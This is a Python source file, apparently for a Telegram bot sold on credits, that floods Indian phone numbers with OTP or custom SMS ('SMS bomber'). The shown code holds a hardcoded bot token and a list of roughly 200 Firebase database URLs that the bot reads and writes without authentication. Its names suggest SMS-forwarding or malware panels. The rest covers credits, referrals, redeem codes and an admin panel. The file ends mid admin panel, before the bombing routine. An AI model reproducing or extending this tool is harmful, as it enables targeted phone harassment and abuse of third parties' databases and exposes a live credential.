Bomb / main.py
G0zig's picture
Upload 3 files
dd50433 verified
Raw History Blame Contribute Delete
65.1 kB
#!/usr/bin/env python3
# ═══════════════════════════════════════════════════════════════
# 🔥 𝗔𝗗𝗩𝗔𝗡𝗖𝗘𝗗 𝗦𝗠𝗦 𝗕𝗢𝗠𝗕𝗘𝗥 𝗕𝗢𝗧 — 𝗩𝟯.𝟭 (FINAL — All Bugs Fixed)
# ═══════════════════════════════════════════════════════════════
import re, os, json, sqlite3, random, string, time, asyncio, requests
from datetime import datetime
from telegram import (
Update, InlineKeyboardButton, InlineKeyboardMarkup,
KeyboardButton, ReplyKeyboardMarkup
)
from telegram.ext import (
Application, CommandHandler, CallbackQueryHandler,
ContextTypes, MessageHandler, filters
)
from telegram.request import HTTPXRequest
# ── PROXY (optional — uncomment and fill if needed) ─────────
# PROXY_URL = "http://127.0.0.1:1080" # HTTP proxy
# PROXY_URL = "socks5://127.0.0.1:1080" # SOCKS5 proxy
# ── CONFIG ───────────────────────────────────────────────────
TOKEN = "8764177898:AAE3Lw-7LFNDHO0deawLU3r9YTBnj55T37c"
OWNER_ID = 8794321786
FORCE_CHANNELS = [
{"username": "@aurexkeng", "invite": "https://t.me/aurexkeng"},
{"username": "@bestsmmbot_owmer", "invite": "https://t.me/bestsmmbot_owmer"},
]
FIREBASE_URLS = [
"https://fir-6b48f-default-rtdb.firebaseio.com",
"https://colana-84ce2-default-rtdb.firebaseio.com",
"https://raaz-5287d-default-rtdb.firebaseio.com",
"https://new-sexy-default-rtdb.firebaseio.com",
"https://amirrr-8a463-default-rtdb.firebaseio.com",
"https://faak-9cb47-default-rtdb.firebaseio.com",
"https://chudgy-1cdca-default-rtdb.firebaseio.com",
"https://randidiawdwadrtdb.firebaseio.com",
"https://randidiawdwadrtdb.firebaseio.com",
"https://raj-admin-nokia-default-rtdb.firebaseio.com",
"https://do-admin-v25-default-rtdb.firebaseio.com/clients",
"https://ssgg-5416f-default-rtdb.firebaseio.com",
"https://rahais-default-rtdb.firebaseio.com",
"https://tinmm88-b7db5-default-rtdb.firebaseio.com",
"https://e9turnament1-default-rtdb.firebaseio.com",
"https://hood-4ba1e-default-rtdb.firebaseio.com",
"https://lucifer-spreader-default-rtdb.firebaseio.com",
"https://totla-axis-default-rtdb.firebaseio.com",
"https://rgggggggggg-e2547-default-rtdb.firebaseio.com",
"https://bulbul8084-9a5df-default-rtdb.firebaseio.com",
"https://systumm-c8526-default-rtdb.firebaseio.com",
"https://ravan-98ef1-default-rtdb.firebaseio.com",
"https://yellow-pannel-dadc7-default-rtdb.firebaseio.com",
"https://pmkishan8-6b70f-default-rtdb.firebaseio.com",
"https://no-admin-e0a30-default-rtdb.firebaseio.com",
"https://sexypayload-default-rtdb.firebaseio.com",
"https://love-13ffc-default-rtdb.firebaseio.com",
"https://deepak-c22e3-default-rtdb.firebaseio.com",
"https://takul-cf410-default-rtdb.firebaseio.com",
"https://rto-02-april06-default-rtdb.firebaseio.com",
"https://projectpksk05102025-default-rtdb.firebaseio.com",
"https://rajkumar-b6cbe-default-rtdb.firebaseio.com",
"https://rtoo-6c8e6-default-rtdb.firebaseio.com",
"https://upandar-bb51e-default-rtdb.firebaseio.com",
"https://rolex-carder-default-rtdb.firebaseio.com",
"https://rettiugh-default-rtdb.firebaseio.com",
"https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com",
"https://jeet-op-default-rtdb.firebaseio.com",
"https://vvvvv-b5eae-default-rtdb.firebaseio.com",
"https://jaanubaby-f7b34-default-rtdb.firebaseio.com",
"https://jj-gambler-default-rtdb.firebaseio.com",
"https://suman-penal-default-rtdb.firebaseio.com",
"https://tuuui-60b15-default-rtdb.firebaseio.com",
"https://admin-sonu-8a567-default-rtdb.firebaseio.com",
"https://rohet10-8919f-default-rtdb.firebaseio.com",
"https://zeni-ae60b-default-rtdb.firebaseio.com",
"https://maxxx-randi-default-rtdb.firebaseio.com",
"https://gulabi-fuddi-default-rtdb.firebaseio.com",
"https://comkingdir-default-rtdb.firebaseio.com",
"https://tracegod-168d5-default-rtdb.firebaseio.com",
"https://uc-op-ca3d2-default-rtdb.firebaseio.com",
"https://smsforward-b2198.firebaseio.com",
"https://hdrbf-485ec-default-rtdb.firebaseio.com",
"https://bunty-51bcc-default-rtdb.firebaseio.com",
"https://vishal-x-aravat-default-rtdb.firebaseio.com",
"https://admin-cliwny-default-rtdb.firebaseio.com",
"https://danish-77fe3-default-rtdb.firebaseio.com",
"https://master-admin-6c650-default-rtdb.firebaseio.com",
"https://panel-op-feb4d-default-rtdb.firebaseio.com",
"https://your-project-id-default-rtdb.firebaseio.com",
"https://pm23-98f32-default-rtdb.firebaseio.com",
"https://iiiii-ade0e-default-rtdb.firebaseio.com",
"https://pint-f465b-default-rtdb.firebaseio.com",
"https://admin-panel-bfcdc-default-rtdb.firebaseio.com",
"https://callmebitchfumckyou-default-rtdb.firebaseio.com",
"https://demonrat-aa782-default-rtdb.firebaseio.com",
"https://access20-3fc38-default-rtdb.firebaseio.com",
"https://article-efd36-default-rtdb.firebaseio.com",
"https://rajababukvirat-default-rtdb.firebaseio.com",
"https://axis-suraj-tele-apcd001-default-rtdb.firebaseio.com",
"https://sandycall-18b15-default-rtdb.firebaseio.com",
"https://suihd-default-rtdb.firebaseio.com",
"https://harrwp-6be36-default-rtdb.firebaseio.com",
"https://test-firebase.firebaseio.com",
"https://adutappbylucy-default-rtdb.firebaseio.com",
"https://download-b7393-default-rtdb.firebaseio.com",
"https://bobnewloda-default-rtdb.firebaseio.com",
"https://artikumari-abc97-default-rtdb.firebaseio.com",
"https://seuihd-default-rtdb.firebaseio.com",
"https://gigapaid-39e9c-default-rtdb.firebaseio.com",
"https://angeladmin-9dedc-default-rtdb.firebaseio.com",
"https://fir-new-fe8b8-default-rtdb.firebaseio.com",
"https://priysnshuu-default-rtdb.firebaseio.com",
"https://haab-b3370-default-rtdb.firebaseio.com",
"https://ueuwuw-default-rtdb.firebaseio.com",
"https://test.firebaseio.com",
"https://jkhsadfhjk-default-rtdb.firebaseio.com",
"https://sonic-d5c1a-default-rtdb.firebaseio.com",
"https://jonisins-52271-default-rtdb.firebaseio.com",
"https://dusman-abf8b-default-rtdb.firebaseio.com",
"https://riyy-e012e-default-rtdb.firebaseio.com",
"https://xkpz-f937a-default-rtdb.firebaseio.com",
"https://raaz-5287d-default-rtdb.firebaseio.com",
"https://apkpure-6eb6a-default-rtdb.firebaseio.com",
"https://e14turnament2-default-rtdb.firebaseio.com",
"https://bossuun-default-rtdb.firebaseio.com",
"https://jsjsjdj-7f0d1-default-rtdb.firebaseio.com",
"https://rahul-54fe9-default-rtdb.firebaseio.com",
"https://runjun-master-panel-default-rtdb.firebaseio.com",
"https://gsjjshdbs-default-rtdb.firebaseio.com",
"https://fir-1fa16-default-rtdb.firebaseio.com",
"https://newspreding-default-rtdb.firebaseio.com",
"https://privatesok-59944-default-rtdb.firebaseio.com",
"https://risho-d4c66-default-rtdb.firebaseio.com",
"https://fir-27c9e-default-rtdb.firebaseio.com",
"https://singhaana-6f199-default-rtdb.firebaseio.com",
"https://dogla-de225-default-rtdb.firebaseio.com",
"https://vibe-d238e-default-rtdb.firebaseio.com",
"https://painislv-default-rtdb.firebaseio.com",
"https://jsjdj7374j-default-rtdb.firebaseio.com",
"https://jaduopop-a9a12-default-rtdb.firebaseio.com",
"https://anjali-4a4bc-default-rtdb.firebaseio.com",
"https://devil-king-101d4-default-rtdb.firebaseio.com",
"https://shuruwat-admin-default-rtdb.firebaseio.com",
"https://rajputlodu-5bed0-default-rtdb.firebaseio.com",
"https://kitter-34345-default-rtdb.firebaseio.com",
"https://abcd-6757-ad421-default-rtdb.firebaseio.com",
"https://kali-90e1e-default-rtdb.firebaseio.com",
"https://asif-alam991-default-rtdb.firebaseio.com",
"https://anvith-jaan-default-rtdb.firebaseio.com",
"https://chutkabaal-d7051-default-rtdb.firebaseio.com",
"https://clone-79a6f-default-rtdb.firebaseio.com",
"https://hospital-14-default-rtdb.firebaseio.com",
"https://gooodhua-default-rtdb.firebaseio.com",
"https://yqhwy-2fb47-default-rtdb.firebaseio.com",
"https://khushi-7fb1f-default-rtdb.firebaseio.com",
"https://ppaanaal-default-rtdb.firebaseio.com",
"https://priyanshrandi-18600-default-rtdb.firebaseio.com",
"https://pehle-panel-default-rtdb.firebaseio.com",
"https://yogeshbhai-default-rtdb.firebaseio.com",
"https://singhaana-default-rtdb.firebaseio.com",
"https://myapp-8228a-default-rtdb.firebaseio.com",
"https://app-2-7ac78-default-rtdb.firebaseio.com",
"https://sorry-2d3c5-default-rtdb.firebaseio.com",
"https://fvbtl-3f47c-default-rtdb.firebaseio.com",
"https://anther-a3fe9-default-rtdb.firebaseio.com",
"https://avraj-4d02e-default-rtdb.firebaseio.com",
"https://spy-25-default-rtdb.firebaseio.com",
"https://sirelech1-default-rtdb.firebaseio.com",
"https://rahulcscperosnl-default-rtdb.firebaseio.com",
"https://reliable-stroopwa-default-rtdb.firebaseio.com",
"https://rancho-72506-default-rtdb.firebaseio.com",
"https://pablo-5a0d2-default-rtdb.firebaseio.com",
"https://reen-f8f5f-default-rtdb.firebaseio.com",
"https://pehla-panel-green-default-rtdb.firebaseio.com",
"https://lodaroll-default-rtdb.firebaseio.com",
"https://jamini-c946b-default-rtdb.firebaseio.com",
"https://strange-2e4aa-default-rtdb.firebaseio.com",
"https://vdgsh-623ed-default-rtdb.firebaseio.com",
"https://callmebitchfumckyou-default-rtdb.firebaseio.com",
"https://admin-panel-bfcdc-default-rtdb.firebaseio.com",
"https://pint-f465b-default-rtdb.firebaseio.com",
"https://iiiii-ade0e-default-rtdb.firebaseio.com",
"https://pm23-98f32-default-rtdb.firebaseio.com",
"https://your-project-id-default-rtdb.firebaseio.com",
"https://panel-op-feb4d-default-rtdb.firebaseio.com",
"https://master-admin-6c650-default-rtdb.firebaseio.com",
"https://danish-77fe3-default-rtdb.firebaseio.com",
"https://admin-cliwny-default-rtdb.firebaseio.com",
"https://vishal-x-aravat-default-rtdb.firebaseio.com",
"https://bunty-51bcc-default-rtdb.firebaseio.com",
"https://hdrbf-485ec-default-rtdb.firebaseio.com",
"https://smsforward-b2198.firebaseio.com",
"https://uc-op-ca3d2-default-rtdb.firebaseio.com",
"https://tracegod-168d5-default-rtdb.firebaseio.com",
"https://comkingdir-default-rtdb.firebaseio.com",
"https://gulabi-fuddi-default-rtdb.firebaseio.com",
"https://maxxx-randi-default-rtdb.firebaseio.com",
"https://zeni-ae60b-default-rtdb.firebaseio.com",
"https://rohet10-8919f-default-rtdb.firebaseio.com",
"https://admin-sonu-8a567-default-rtdb.firebaseio.com",
"https://tuuui-60b15-default-rtdb.firebaseio.com",
"https://suman-penal-default-rtdb.firebaseio.com",
"https://jj-gambler-default-rtdb.firebaseio.com",
"https://jaanubaby-f7b34-default-rtdb.firebaseio.com",
"https://vvvvv-b5eae-default-rtdb.firebaseio.com",
"https://jeep-op-default-rtdb.firebaseio.com",
"https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com",
"https://rettiugh-default-rtdb.firebaseio.com",
"https://muajob-29c86-default-rtdb.firebaseio.com",
"https://rahulgandhi-d09ca-default-rtdb.firebaseio.com",
"https://hdjdjdj-a73f2-default-rtdb.firebaseio.com",
"https://niggasionic-default-rtdb.asia-southeast1.firebasedatabase.app",
"https://damo-98ebb-default-rtdb.firebaseio.com",
"https://sep12-aea6d-default-rtdb.firebaseio.com",
"https://hdfc-561e8-default-rtdb.firebaseio.com",
"https://astra-b23a1-default-rtdb.firebaseio.com",
"https://novap7-725ff-default-rtdb.firebaseio.com",
"https://axisjames-default-rtdb.firebaseio.com",
"https://yellow-panel-rto-default-rtdb.firebaseio.com",
"https://bmw1-bdc10-default-rtdb.firebaseio.com",
"https://me03-4e321-default-rtdb.firebaseio.com",
"https://ream-13acd-default-rtdb.firebaseio.com",
"https://makenewfriends-default-rtdb.firebaseio.com",
"https://yt01-75a36-default-rtdb.firebaseio.com",
]
# ── BOLD FONT ───────────────────────────────────────────────
def 𝕓(text):
m = {
'A':'𝐀','B':'𝐁','C':'𝐂','D':'𝐃','E':'𝐄','F':'𝐅','G':'𝐆','H':'𝐇','I':'𝐈',
'J':'𝐉','K':'𝐊','L':'𝐋','M':'𝐌','N':'𝐍','O':'𝐎','P':'𝐏','Q':'𝐐','R':'𝐑',
'S':'𝐒','T':'𝐓','U':'𝐔','V':'𝐕','W':'𝐖','X':'𝐗','Y':'𝐘','Z':'𝐙',
'a':'𝐚','b':'𝐛','c':'𝐜','d':'𝐝','e':'𝐞','f':'𝐟','g':'𝐠','h':'𝐡','i':'𝐢',
'j':'𝐣','k':'𝐤','l':'𝐥','m':'𝐦','n':'𝐧','o':'𝐨','p':'𝐩','q':'𝐪','r':'𝐫',
's':'𝐬','t':'𝐭','u':'𝐮','v':'𝐯','w':'𝐰','x':'𝐱','y':'𝐲','z':'𝐳',
'0':'𝟎','1':'𝟏','2':'𝟐','3':'𝟑','4':'𝟒','5':'𝟓','6':'𝟔','7':'𝟕','8':'𝟖','9':'𝟗',
}
return ''.join(m.get(c,c) for c in text)
B = 𝕓
def sl(): return "━─━────༺◈༻────━─━"
# ── ⭐ ACTIVE BOMB MANAGER (global — user_data.clear() se immune) ──
# uid -> asyncio.Event (event set = STOP)
ACTIVE_BOMBS = {}
def bomb_running(uid):
return uid in ACTIVE_BOMBS
def start_bomb_event(uid):
"""Naya bomb event banao (purana hata ke)."""
old = ACTIVE_BOMBS.get(uid)
if old: old.set() # safety: purana bomb band karo
ev = asyncio.Event()
ACTIVE_BOMBS[uid] = ev
return ev
def request_bomb_stop(uid):
"""Stop request bhejo. Returns True agar bomb chal raha tha."""
ev = ACTIVE_BOMBS.get(uid)
if ev: ev.set()
return ev is not None
def finish_bomb(uid):
ACTIVE_BOMBS.pop(uid, None)
# ── DATABASE — WAL MODE + AUTO MIGRATION ────────────────────
DB_PATH = "bot_data.db"
def db_init():
conn = sqlite3.connect(DB_PATH, timeout=60)
conn.execute("PRAGMA journal_mode=WAL;")
conn.execute("PRAGMA synchronous=NORMAL;")
conn.execute("PRAGMA busy_timeout=60000;")
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users (
user_id INTEGER PRIMARY KEY,
credits INTEGER DEFAULT 5,
referrer_id INTEGER,
bomb_count INTEGER DEFAULT 0,
joined_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)''')
c.execute('''CREATE TABLE IF NOT EXISTS banned_users (
user_id INTEGER PRIMARY KEY,
banned_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
banned_by INTEGER
)''')
c.execute('''CREATE TABLE IF NOT EXISTS user_history (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER,
action TEXT,
details TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)''')
c.execute('''CREATE TABLE IF NOT EXISTS bot_config (
key TEXT PRIMARY KEY,
value TEXT
)''')
# Redeem codes table
c.execute('''CREATE TABLE IF NOT EXISTS redeem_codes (
code TEXT PRIMARY KEY,
amount INTEGER NOT NULL,
created_by INTEGER NOT NULL,
used_by INTEGER DEFAULT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
used_at TIMESTAMP DEFAULT NULL
)''')
try:
c.execute("SELECT bomb_count FROM users LIMIT 1")
except sqlite3.OperationalError:
c.execute("ALTER TABLE users ADD COLUMN bomb_count INTEGER DEFAULT 0")
print("✅ Added missing bomb_count column")
conn.commit()
conn.close()
print("✅ Database ready (WAL mode)")
db_init()
def getc():
conn = sqlite3.connect(DB_PATH, timeout=60)
conn.execute("PRAGMA journal_mode=WAL;")
conn.execute("PRAGMA synchronous=NORMAL;")
conn.execute("PRAGMA busy_timeout=60000;")
return conn
def db_get(key):
conn = getc(); c = conn.cursor()
c.execute("SELECT value FROM bot_config WHERE key=?", (key,))
r = c.fetchone(); conn.close()
return r[0] if r else None
def db_set(k, v):
conn = getc(); c = conn.cursor()
c.execute("INSERT OR REPLACE INTO bot_config (key, value) VALUES (?,?)", (k, v))
conn.commit(); conn.close()
def get_start_video():
v = db_get("start_video")
return v if v and v.startswith("BAAC") else None
def set_start_video(f): db_set("start_video", f)
def is_owner(u): return u == OWNER_ID
def get_credits(u):
conn = getc(); c = conn.cursor()
c.execute("SELECT credits FROM users WHERE user_id=?", (u,))
r = c.fetchone(); conn.close()
return r[0] if r else 0
def add_user(u, ref=None):
conn = getc(); c = conn.cursor()
c.execute("SELECT user_id FROM users WHERE user_id=?", (u,))
if c.fetchone(): conn.close(); return False
c.execute("INSERT INTO users (user_id, credits, referrer_id) VALUES (?, 5, ?)", (u, ref))
conn.commit(); conn.close()
if ref and ref != u:
conn2 = getc(); c2 = conn2.cursor()
c2.execute("SELECT credits FROM users WHERE user_id=?", (ref,))
if c2.fetchone():
c2.execute("UPDATE users SET credits=credits+1 WHERE user_id=?", (ref,))
conn2.commit()
conn2.close()
return True
def deduct_credit(u):
conn = getc(); c = conn.cursor()
c.execute("UPDATE users SET credits=credits-1 WHERE user_id=? AND credits>0", (u,))
ok = c.rowcount > 0
if ok:
c.execute("UPDATE users SET bomb_count=COALESCE(bomb_count,0)+1 WHERE user_id=?", (u,))
conn.commit(); conn.close()
return ok
def add_credits(u, a):
conn = getc(); c = conn.cursor()
c.execute("UPDATE users SET credits=credits+? WHERE user_id=?", (a, u))
conn.commit(); conn.close()
def remove_credits(u, a):
conn = getc(); c = conn.cursor()
c.execute("UPDATE users SET credits=credits-? WHERE user_id=? AND credits>=?", (a, u, a))
ok = c.rowcount > 0; conn.commit(); conn.close()
return ok
def is_banned(u):
conn = getc(); c = conn.cursor()
c.execute("SELECT user_id FROM banned_users WHERE user_id=?", (u,))
r = c.fetchone(); conn.close()
return r is not None
def ban_user(u, b):
conn = getc(); c = conn.cursor()
c.execute("INSERT OR IGNORE INTO banned_users (user_id, banned_by) VALUES (?,?)", (u, b))
conn.commit(); conn.close()
def unban_user(u):
conn = getc(); c = conn.cursor()
c.execute("DELETE FROM banned_users WHERE user_id=?", (u,))
ok = c.rowcount > 0; conn.commit(); conn.close()
return ok
def loga(u, a, d=""):
conn = getc(); c = conn.cursor()
c.execute("INSERT INTO user_history (user_id, action, details) VALUES (?,?,?)", (u, a, d))
conn.commit(); conn.close()
def get_lb(limit=10):
conn = getc(); c = conn.cursor()
c.execute("SELECT user_id, credits, COALESCE(bomb_count,0) FROM users ORDER BY credits DESC LIMIT ?", (limit,))
r = c.fetchall(); conn.close(); return r
def get_stats():
conn = getc(); c = conn.cursor()
c.execute("SELECT COUNT(*), COALESCE(SUM(credits),0), COALESCE(SUM(bomb_count),0) FROM users")
t, tc, tb = c.fetchone(); conn.close()
return (t or 0), (tc or 0), (tb or 0)
def get_all_users():
conn = getc(); c = conn.cursor()
c.execute("SELECT user_id, credits, COALESCE(bomb_count,0), joined_at FROM users ORDER BY joined_at DESC")
r = c.fetchall(); conn.close(); return r
def get_ui(u):
conn = getc(); c = conn.cursor()
c.execute("SELECT * FROM users WHERE user_id=?", (u,))
r = c.fetchone(); conn.close(); return r
# ── REDEEM CODE FUNCTIONS ──────────────────────────────────
def create_redeem(amount, created_by):
while True:
code = "titan-" + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
conn = getc(); c = conn.cursor()
c.execute("SELECT 1 FROM redeem_codes WHERE code=?", (code,))
if not c.fetchone():
c.execute("INSERT INTO redeem_codes (code, amount, created_by) VALUES (?,?,?)",
(code, amount, created_by))
conn.commit(); conn.close()
return code
conn.close()
def get_redeem(code):
conn = getc(); c = conn.cursor()
c.execute("SELECT * FROM redeem_codes WHERE lower(code)=lower(?)", (code,))
r = c.fetchone(); conn.close()
return r
def use_redeem(code, used_by):
conn = getc(); c = conn.cursor()
c.execute("UPDATE redeem_codes SET used_by=?, used_at=CURRENT_TIMESTAMP WHERE lower(code)=lower(?) AND used_by IS NULL",
(used_by, code))
ok = c.rowcount > 0; conn.commit(); conn.close()
return ok
def get_redeems(limit=15):
conn = getc(); c = conn.cursor()
c.execute("SELECT code, amount, created_by, used_by, created_at, used_at FROM redeem_codes ORDER BY created_at DESC LIMIT ?", (limit,))
r = c.fetchall(); conn.close(); return r
def get_redeem_stats():
conn = getc(); c = conn.cursor()
c.execute("SELECT COUNT(*) FROM redeem_codes")
total = c.fetchone()[0] or 0
c.execute("SELECT COUNT(*) FROM redeem_codes WHERE used_by IS NOT NULL")
used = c.fetchone()[0] or 0
conn.close()
return total, used
# ── FIREBASE ────────────────────────────────────────────────
def fb_get(url, path):
try:
r = requests.get(f"{url.rstrip('/')}/{path}.json", timeout=8)
if r.status_code == 200: return r.json()
except: return None
def fb_put(url, path, data):
try:
r = requests.put(f"{url.rstrip('/')}/{path}.json", json=data, timeout=8)
return r.status_code in (200, 201)
except: return False
def validate_phone(num):
n = num.strip()
if not n.startswith('+91'): return False, "❌ Must start with +91"
r = n[3:]
if not r.isdigit(): return False, "❌ Only digits after +91"
if len(r) != 10: return False, f"❌ Need 10 digits after +91 (got {len(r)})"
return True, "✅ Valid"
# ── FORCE JOIN ──────────────────────────────────────────────
async def check_fj(update, ctx):
try:
uid = update.effective_user.id
for ch in FORCE_CHANNELS:
m = await ctx.application.bot.get_chat_member(ch["username"], uid)
if m.status in ("left", "kicked"): return False
return True
except: return False
async def fj_prompt(update, ctx):
btns = [[InlineKeyboardButton(f"🔵 {ch['username']}", url=ch["invite"],
**({"api_kwargs": {"style": "primary"}}))] for ch in FORCE_CHANNELS]
btns.append([InlineKeyboardButton(f"✅ {B('Joined')}", callback_data="fj_check",
**({"api_kwargs": {"style": "success"}}))])
ch_list = "\n".join(f" 🔹 {ch['username']}" for ch in FORCE_CHANNELS)
try:
await update.message.reply_text(
f"╔═══◈═══╗\n║ {B('FORCE JOIN')} ║\n╚═══◈═══╝\n\n"
f"⚠️ {B('Join channels first!')}\n\n{ch_list}",
parse_mode="HTML", reply_markup=InlineKeyboardMarkup(btns))
except: pass
# ── COLOR HELPERS ──────────────────────────────────────────
def cbtn(t, cb, s="primary"):
return InlineKeyboardButton(t, callback_data=cb, **({"api_kwargs": {"style": s}}))
def km(t, s="primary"):
return KeyboardButton(t, **({"api_kwargs": {"style": s}}))
def im(rows):
return InlineKeyboardMarkup([[cbtn(t,c,s) for t,c,s in row] for row in rows])
def rm(rows):
return ReplyKeyboardMarkup([[km(t,s) for t,s in row] for row in rows], resize_keyboard=True)
# ── /start ──────────────────────────────────────────────────
async def start(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
uid = update.effective_user.id
except: return
if is_banned(uid):
try: await update.message.reply_text(f"❌ {B('Banned.')}")
except: pass
return
ref = None
if ctx.args and ctx.args[0].startswith("ref_"):
try: ref = int(ctx.args[0].split("_")[1])
except: pass
try:
new = add_user(uid, ref)
if new:
if ref and ref != uid:
try:
un = update.effective_user.username or update.effective_user.first_name
await ctx.application.bot.send_message(ref,
f"━━━━━━━━━\n🎉 {B('REFERRAL!')}\n━━━━━━━━━\n👤 @{un} (<code>{uid}</code>)\n💰 +1 credit",
parse_mode="HTML")
except: pass
try:
un = update.effective_user.username or update.effective_user.first_name
rt = f"Referrer: <code>{ref}</code>" if ref else "Direct"
await ctx.application.bot.send_message(OWNER_ID,
f"━━━━━━━━━\n🆕 {B('NEW USER')}\n━━━━━━━━━\n👤 @{un}\n🆔 <code>{uid}</code>\n📌 {rt}",
parse_mode="HTML")
except: pass
if not await check_fj(update, ctx):
await fj_prompt(update, ctx)
return
creds = get_credits(uid)
vid = get_start_video()
mk = rm([
[("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")],
[("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")],
[("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")],
[("📊 𝙎𝙏𝘼𝙏𝙎", "success")],
])
if is_owner(uid):
mk = rm([
[("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")],
[("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")],
[("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")],
[("📊 𝙎𝙏𝘼𝙏𝙎", "success"), ("⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇", "danger")],
])
msg = (f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n{sl()}\n"
f"🔥 {B('Status')}: 🟢 {B('ONLINE')}\n💰 {B('Credits')}: <code>{creds}</code>\n"
f"📌 {B('1 Credit = 1 Bomb')}\n{sl()}\n\n"
f"📱 {B('How To Use')}:\n 💣 Tap Bomb SMS\n 📞 Enter +91 number\n ✏️ Choose OTP or Custom\n 🚀 Auto-bomb!\n\n"
f"💡 Earn via 🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇 or 🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈")
if vid:
try:
await update.message.reply_video(video=vid, caption=msg, parse_mode="HTML", reply_markup=mk)
return
except: pass
await update.message.reply_text(msg, parse_mode="HTML", reply_markup=mk)
except Exception as e:
print(f"[start] Error: {e}")
# ── /set ────────────────────────────────────────────────────
async def set_video(update: Update, ctx: ContextTypes.DEFAULT_TYPE):
try:
if not is_owner(update.effective_user.id):
await update.message.reply_text("⛔ Owner only!"); return
if not update.message.reply_to_message:
await update.message.reply_text("❌ Reply to video with /set"); return
v = update.message.reply_to_message.video
if not v:
await update.message.reply_text("❌ That's not a video!"); return
set_start_video(v.file_id)
await update.message.reply_text(f"╔═══◈═══╗\n║ {B('VIDEO SET')} ║\n╚═══◈═══╝\n\n✅ Video set!\n🆔 <code>{v.file_id[:20]}...</code>", parse_mode="HTML")
except: pass
# ── ADMIN PANEL BUILDER ────────────────────────────────────
def admin_panel_data():
t, tc, tb = get_stats()
conn = getc(); c = conn.cursor()
c.execute("SELECT COUNT(*) FROM banned_users"); bc = c.fetchone()[0]; conn.close()
rt, ru = get_redeem_stats()
text = (f"╔═══◈═══╗\n║ {B('ADMIN')} ║\n╚═══◈═══╝\n\n{sl()}\n"
f"👥 Users: <code>{t}</code>\n💰 Credits: <code>{tc}</code>\n"
f"💣 Bombs: <code>{tb}</code>\n🚫 Banned: <code>{bc}</code>\n"
f"🎟️ Redeem: <code>{ru}/{rt}</code> used\n{sl()}\n\n"
f"💡 Tap any button — bot will ask for details!")
kb = im([
[("👥 Users", "admin_users", "primary"), ("🚫 Ban", "admin_ban", "danger")],
[("✅ Unban", "admin_unban", "success"), ("➕ Add Credits", "admin_add", "success")],
[("➖ Remove", "admin_rem", "danger"), ("🎟️ Create Redeem", "admin_redeem", "primary")],
[("📋 Redeem Codes", "admin_redeems", "primary"), ("📊 Refresh", "admin_refresh", "success")],
[("🔙 Back", "admin_back", "danger")],
])
return text, kb
async def admin_panel(q):
try:
text, kb = admin_panel_data()
await q.edit_message_text(text, parse_mode="HTML", reply_markup=kb)
except: pass
async def admin_redeems(q):
try:
rs = get_redeems(15)
msg = f"╔═══◈═══╗\n║ {B('REDEEM CODES')} ║\n╚═══◈═══╝\n\n"
if not rs:
msg += "📭 No codes yet\n\n🎟️ Create one!"
else:
for code, amt, cb_, ub, ca, ua in rs:
if ub:
msg += f"• <code>{code}</code> | 💰{amt} | ✅ Used by {ub}\n"
else:
msg += f"• <code>{code}</code> | 💰{amt} | 🟢 Unused\n"
await q.edit_message_text(msg, parse_mode="HTML",
reply_markup=im([[("🎟️ Create", "admin_redeem", "primary"), ("🔙 Back", "admin_back", "danger")]]))
except: pass
async def admin_users(q, page=0):
try:
users = get_all_users()
pp = 10; s = page*pp; e = s+pp; pu = users[s:e]; tp = (len(users)+pp-1)//pp
msg = f"╔═══◈═══╗\n║ {B('USERS')} ({page+1}/{tp}) ║\n╚═══◈═══╝\n\n"
for i,(ui,cr,bm,jt) in enumerate(pu, start=s+1):
msg += f"{i}. <code>{ui}</code> | 💰{cr} | 💣{bm}\n"
msg += "\n💡 Tap user ID to view:"
rows = []
nav = []
if page > 0: nav.append((f"◀️ Prev", f"admin_users_page_{page-1}", "danger"))
if page+1 < tp: nav.append((f"Next ▶️", f"admin_users_page_{page+1}", "primary"))
if nav: rows.append(nav)
for ui,cr,bm,_ in pu[:5]:
rows.append([(f"👤 {ui}", f"admin_ui_{ui}", "primary")])
rows.append([("🔙 Back", "admin_back", "danger")])
await q.edit_message_text(msg, parse_mode="HTML", reply_markup=im(rows))
except: pass
async def admin_ui(q, target):
try:
info = get_ui(target)
banned = is_banned(target)
if not info:
await q.edit_message_text("❌ Not found", reply_markup=im([[("🔙", "admin_users", "danger")]])); return
msg = (f"╔═══◈═══╗\n║ {B('USER')} ║\n╚═══◈═══╝\n\n{sl()}\n"
f"🆔 <code>{info[0]}</code>\n💰 {info[1]}\n👥 Referrer: <code>{info[2] or 'None'}</code>\n"
f"💣 {info[3]}\n📅 {info[4]}\n🚫 {'✅ Yes' if banned else '❌ No'}\n{sl()}")
rows = []
if banned: rows.append([(f"✅ Unban", f"admin_unban_{target}", "success")])
else: rows.append([(f"🚫 Ban", f"admin_ban_{target}", "danger")])
